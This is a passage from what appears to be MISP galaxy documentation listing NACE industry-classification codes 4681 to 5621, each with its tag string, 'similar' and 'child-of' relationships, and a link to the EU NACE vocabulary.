4681

The tag is: *misp-galaxy:NACE="4681"*

View relationships graph

4681 has relationships with:

- similar: misp-galaxy:NACE="4671" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12574. Table References

Links
http://data.europa.eu/ux2/nace2/4681

4682

The tag is: *misp-galaxy:NACE="4682"*

View relationships graph

4682 has relationships with:

- similar: misp-galaxy:NACE="4672" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12575. Table References

Links
http://data.europa.eu/ux2/nace2/4682

4683

The tag is: *misp-galaxy:NACE="4683"*

View relationships graph

4683 has relationships with:

- similar: misp-galaxy:NACE="4673" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12576. Table References

Links
http://data.europa.eu/ux2/nace2/4683

4684

The tag is: *misp-galaxy:NACE="4684"*

View relationships graph

4684 has relationships with:

- similar: misp-galaxy:NACE="4673" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12577. Table References

Links
http://data.europa.eu/ux2/nace2/4684

4685

The tag is: *misp-galaxy:NACE="4685"*

View relationships graph

4685 has relationships with:

- similar: misp-galaxy:NACE="4673" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12578. Table References

Links
http://data.europa.eu/ux2/nace2/4685

4686

The tag is: *misp-galaxy:NACE="4686"*

View relationships graph

4686 has relationships with:

- similar: misp-galaxy:NACE="4673" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12579. Table References

Links
http://data.europa.eu/ux2/nace2/4686

4687

The tag is: *misp-galaxy:NACE="4687"*

View relationships graph

4687 has relationships with:

- similar: misp-galaxy:NACE="4673" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12580. Table References

Links
http://data.europa.eu/ux2/nace2/4687

4689

The tag is: *misp-galaxy:NACE="4689"*

View relationships graph

4689 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12581. Table References

Links
http://data.europa.eu/ux2/nace2/4689

4690

The tag is: *misp-galaxy:NACE="4690"*

View relationships graph

4690 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12582. Table References

Links
http://data.europa.eu/ux2/nace2/4690

4711

The tag is: *misp-galaxy:NACE="4711"*

View relationships graph

4711 has relationships with:

- similar: misp-galaxy:NACE="4781" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12583. Table References

Links
http://data.europa.eu/ux2/nace2/4711

4712

The tag is: *misp-galaxy:NACE="4712"*

View relationships graph

4712 has relationships with:

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12584. Table References

Links
http://data.europa.eu/ux2/nace2/4712

4721

The tag is: *misp-galaxy:NACE="4721"*

View relationships graph

4721 has relationships with:

- similar: misp-galaxy:NACE="4781" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12585. Table References

Links
http://data.europa.eu/ux2/nace2/4721

4722

The tag is: *misp-galaxy:NACE="4722"*

View relationships graph

4722 has relationships with:

- similar: misp-galaxy:NACE="4781" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12586. Table References

Links
http://data.europa.eu/ux2/nace2/4722

4723

The tag is: *misp-galaxy:NACE="4723"*

View relationships graph

4723 has relationships with:

- similar: misp-galaxy:NACE="4781" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12587. Table References

Links
http://data.europa.eu/ux2/nace2/4723

4724

The tag is: *misp-galaxy:NACE="4724"*

View relationships graph

4724 has relationships with:

- similar: misp-galaxy:NACE="4781" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12588. Table References

Links
http://data.europa.eu/ux2/nace2/4724

4725

The tag is: *misp-galaxy:NACE="4725"*

View relationships graph

4725 has relationships with:

- similar: misp-galaxy:NACE="4781" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12589. Table References

Links
http://data.europa.eu/ux2/nace2/4725

4726

The tag is: *misp-galaxy:NACE="4726"*

View relationships graph

4726 has relationships with:

- similar: misp-galaxy:NACE="4781" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12590. Table References

Links
http://data.europa.eu/ux2/nace2/4726

4727

The tag is: *misp-galaxy:NACE="4727"*

View relationships graph

4727 has relationships with:

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4781" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12591. Table References

Links
http://data.europa.eu/ux2/nace2/4727

4730

The tag is: *misp-galaxy:NACE="4730"*

View relationships graph

4730 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12592. Table References

Links
http://data.europa.eu/ux2/nace2/4730

4740

The tag is: *misp-galaxy:NACE="4740"*

View relationships graph

4740 has relationships with:

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12593. Table References

Links
http://data.europa.eu/ux2/nace2/4740

4751

The tag is: *misp-galaxy:NACE="4751"*

View relationships graph

4751 has relationships with:

- similar: misp-galaxy:NACE="4782" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12594. Table References

Links
http://data.europa.eu/ux2/nace2/4751

4752

The tag is: *misp-galaxy:NACE="4752"*

View relationships graph

4752 has relationships with:

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12595. Table References

Links
http://data.europa.eu/ux2/nace2/4752

4753

The tag is: *misp-galaxy:NACE="4753"*

View relationships graph

4753 has relationships with:

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12596. Table References

Links
http://data.europa.eu/ux2/nace2/4753

4754

The tag is: *misp-galaxy:NACE="4754"*

View relationships graph

4754 has relationships with:

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12597. Table References

Links
http://data.europa.eu/ux2/nace2/4754

4755

The tag is: *misp-galaxy:NACE="4755"*

View relationships graph

4755 has relationships with:

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4778" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4778" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12598. Table References

Links
http://data.europa.eu/ux2/nace2/4755

4761

The tag is: *misp-galaxy:NACE="4761"*

View relationships graph

4761 has relationships with:

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12599. Table References

Links
http://data.europa.eu/ux2/nace2/4761

4762

The tag is: *misp-galaxy:NACE="4762"*

View relationships graph

4762 has relationships with:

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12600. Table References

Links
http://data.europa.eu/ux2/nace2/4762

4763

The tag is: *misp-galaxy:NACE="4763"*

View relationships graph

4763 has relationships with:

- similar: misp-galaxy:NACE="4764" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4778" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4778" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12601. Table References

Links
http://data.europa.eu/ux2/nace2/4763

4764

The tag is: *misp-galaxy:NACE="4764"*

View relationships graph

4764 has relationships with:

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12602. Table References

Links
http://data.europa.eu/ux2/nace2/4764

4769

The tag is: *misp-galaxy:NACE="4769"*

View relationships graph

4769 has relationships with:

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4763" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4778" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4778" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12603. Table References

Links
http://data.europa.eu/ux2/nace2/4769

4771

The tag is: *misp-galaxy:NACE="4771"*

View relationships graph

4771 has relationships with:

- similar: misp-galaxy:NACE="4782" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12604. Table References

Links
http://data.europa.eu/ux2/nace2/4771

4772

The tag is: *misp-galaxy:NACE="4772"*

View relationships graph

4772 has relationships with:

- similar: misp-galaxy:NACE="4782" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12605. Table References

Links
http://data.europa.eu/ux2/nace2/4772

4773

The tag is: *misp-galaxy:NACE="4773"*

View relationships graph

4773 has relationships with:

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12606. Table References

Links
http://data.europa.eu/ux2/nace2/4773

4774

The tag is: *misp-galaxy:NACE="4774"*

View relationships graph

4774 has relationships with:

- similar: misp-galaxy:NACE="4778" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4778" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12607. Table References

Links
http://data.europa.eu/ux2/nace2/4774

4775

The tag is: *misp-galaxy:NACE="4775"*

View relationships graph

4775 has relationships with:

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12608. Table References

Links
http://data.europa.eu/ux2/nace2/4775

4776

The tag is: *misp-galaxy:NACE="4776"*

View relationships graph

4776 has relationships with:

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12609. Table References

Links
http://data.europa.eu/ux2/nace2/4776

4777

The tag is: *misp-galaxy:NACE="4777"*

View relationships graph

4777 has relationships with:

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12610. Table References

Links
http://data.europa.eu/ux2/nace2/4777

4778

The tag is: *misp-galaxy:NACE="4778"*

View relationships graph

4778 has relationships with:

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12611. Table References

Links
http://data.europa.eu/ux2/nace2/4778

4779

The tag is: *misp-galaxy:NACE="4779"*

View relationships graph

4779 has relationships with:

- similar: misp-galaxy:NACE="4782" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4782" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12612. Table References

Links
http://data.europa.eu/ux2/nace2/4779

4781

The tag is: *misp-galaxy:NACE="4781"*

View relationships graph

4781 has relationships with:

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12613. Table References

Links
http://data.europa.eu/ux2/nace2/4781

4782

The tag is: *misp-galaxy:NACE="4782"*

View relationships graph

4782 has relationships with:

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12614. Table References

Links
http://data.europa.eu/ux2/nace2/4782

4783

The tag is: *misp-galaxy:NACE="4783"*

View relationships graph

4783 has relationships with:

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12615. Table References

Links
http://data.europa.eu/ux2/nace2/4783

4791

The tag is: *misp-galaxy:NACE="4791"*

View relationships graph

4791 has relationships with:

- similar: misp-galaxy:NACE="4711" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4711" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4779" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12616. Table References

Links
http://data.europa.eu/ux2/nace2/4791

4792

The tag is: *misp-galaxy:NACE="4792"*

View relationships graph

4792 has relationships with:

- similar: misp-galaxy:NACE="4779" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12617. Table References

Links
http://data.europa.eu/ux2/nace2/4792

4911

The tag is: *misp-galaxy:NACE="4911"*

View relationships graph

4911 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4931" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12618. Table References

Links
http://data.europa.eu/ux2/nace2/4911

4912

The tag is: *misp-galaxy:NACE="4912"*

View relationships graph

4912 has relationships with:

- similar: misp-galaxy:NACE="4931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4931" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12619. Table References

Links
http://data.europa.eu/ux2/nace2/4912

4920

The tag is: *misp-galaxy:NACE="4920"*

View relationships graph

4920 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12620. Table References

Links
http://data.europa.eu/ux2/nace2/4920

4931

The tag is: *misp-galaxy:NACE="4931"*

View relationships graph

4931 has relationships with:

- similar: misp-galaxy:NACE="4939" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12621. Table References

Links
http://data.europa.eu/ux2/nace2/4931

4932

The tag is: *misp-galaxy:NACE="4932"*

View relationships graph

4932 has relationships with:

- similar: misp-galaxy:NACE="4939" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12622. Table References

Links
http://data.europa.eu/ux2/nace2/4932

4933

The tag is: *misp-galaxy:NACE="4933"*

View relationships graph

4933 has relationships with:

- similar: misp-galaxy:NACE="4932" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12623. Table References

Links
http://data.europa.eu/ux2/nace2/4933

4934

The tag is: *misp-galaxy:NACE="4934"*

View relationships graph

4934 has relationships with:

- similar: misp-galaxy:NACE="4931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4939" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12624. Table References

Links
http://data.europa.eu/ux2/nace2/4934

4939

The tag is: *misp-galaxy:NACE="4939"*

View relationships graph

4939 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12625. Table References

Links
http://data.europa.eu/ux2/nace2/4939

4941

The tag is: *misp-galaxy:NACE="4941"*

View relationships graph

4941 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12626. Table References

Links
http://data.europa.eu/ux2/nace2/4941

4942

The tag is: *misp-galaxy:NACE="4942"*

View relationships graph

4942 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12627. Table References

Links
http://data.europa.eu/ux2/nace2/4942

4950

The tag is: *misp-galaxy:NACE="4950"*

View relationships graph

4950 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12628. Table References

Links
http://data.europa.eu/ux2/nace2/4950

5010

The tag is: *misp-galaxy:NACE="5010"*

View relationships graph

5010 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12629. Table References

Links
http://data.europa.eu/ux2/nace2/5010

5020

The tag is: *misp-galaxy:NACE="5020"*

View relationships graph

5020 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12630. Table References

Links
http://data.europa.eu/ux2/nace2/5020

5030

The tag is: *misp-galaxy:NACE="5030"*

View relationships graph

5030 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12631. Table References

Links
http://data.europa.eu/ux2/nace2/5030

5040

The tag is: *misp-galaxy:NACE="5040"*

View relationships graph

5040 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12632. Table References

Links
http://data.europa.eu/ux2/nace2/5040

5110

The tag is: *misp-galaxy:NACE="5110"*

View relationships graph

5110 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12633. Table References

Links
http://data.europa.eu/ux2/nace2/5110

5121

The tag is: *misp-galaxy:NACE="5121"*

View relationships graph

5121 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12634. Table References

Links
http://data.europa.eu/ux2/nace2/5121

5122

The tag is: *misp-galaxy:NACE="5122"*

View relationships graph

5122 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12635. Table References

Links
http://data.europa.eu/ux2/nace2/5122

5210

The tag is: *misp-galaxy:NACE="5210"*

View relationships graph

5210 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12636. Table References

Links
http://data.europa.eu/ux2/nace2/5210

5221

The tag is: *misp-galaxy:NACE="5221"*

View relationships graph

5221 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12637. Table References

Links
http://data.europa.eu/ux2/nace2/5221

5222

The tag is: *misp-galaxy:NACE="5222"*

View relationships graph

5222 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12638. Table References

Links
http://data.europa.eu/ux2/nace2/5222

5223

The tag is: *misp-galaxy:NACE="5223"*

View relationships graph

5223 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12639. Table References

Links
http://data.europa.eu/ux2/nace2/5223

5224

The tag is: *misp-galaxy:NACE="5224"*

View relationships graph

5224 has relationships with:

- similar: misp-galaxy:NACE="4941" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12640. Table References

Links
http://data.europa.eu/ux2/nace2/5224

5225

The tag is: *misp-galaxy:NACE="5225"*

View relationships graph

5225 has relationships with:

- similar: misp-galaxy:NACE="4941" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12641. Table References

Links
http://data.europa.eu/ux2/nace2/5225

5226

The tag is: *misp-galaxy:NACE="5226"*

View relationships graph

5226 has relationships with:

- similar: misp-galaxy:NACE="4941" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12642. Table References

Links
http://data.europa.eu/ux2/nace2/5226

5231

The tag is: *misp-galaxy:NACE="5231"*

View relationships graph

5231 has relationships with:

- similar: misp-galaxy:NACE="4941" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12643. Table References

Links
http://data.europa.eu/ux2/nace2/5231

5232

The tag is: *misp-galaxy:NACE="5232"*

View relationships graph

5232 has relationships with:

- similar: misp-galaxy:NACE="4932" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="7911" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="7990" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12644. Table References

Links
http://data.europa.eu/ux2/nace2/5232

5310

The tag is: *misp-galaxy:NACE="5310"*

View relationships graph

5310 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12645. Table References

Links
http://data.europa.eu/ux2/nace2/5310

5320

The tag is: *misp-galaxy:NACE="5320"*

View relationships graph

5320 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12646. Table References

Links
http://data.europa.eu/ux2/nace2/5320

5330

The tag is: *misp-galaxy:NACE="5330"*

View relationships graph

5330 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12647. Table References

Links
http://data.europa.eu/ux2/nace2/5330

5510

The tag is: *misp-galaxy:NACE="5510"*

View relationships graph

5510 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12648. Table References

Links
http://data.europa.eu/ux2/nace2/5510

5520

The tag is: *misp-galaxy:NACE="5520"*

View relationships graph

5520 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12649. Table References

Links
http://data.europa.eu/ux2/nace2/5520

5530

The tag is: *misp-galaxy:NACE="5530"*

View relationships graph

5530 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12650. Table References

Links
http://data.europa.eu/ux2/nace2/5530

5540

The tag is: *misp-galaxy:NACE="5540"*

View relationships graph

5540 has relationships with:

- similar: misp-galaxy:NACE="7911" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="7990" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12651. Table References

Links
http://data.europa.eu/ux2/nace2/5540

5590

The tag is: *misp-galaxy:NACE="5590"*

View relationships graph

5590 has relationships with:

- similar: misp-galaxy:NACE="6820" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12652. Table References

Links
http://data.europa.eu/ux2/nace2/5590

5611

The tag is: *misp-galaxy:NACE="5611"*

View relationships graph

5611 has relationships with:

- similar: misp-galaxy:NACE="6820" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12653. Table References

Links
http://data.europa.eu/ux2/nace2/5611

5612

The tag is: *misp-galaxy:NACE="5612"*

View relationships graph

5612 has relationships with:

- similar: misp-galaxy:NACE="6820" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12654. Table References

Links
http://data.europa.eu/ux2/nace2/5612

5621

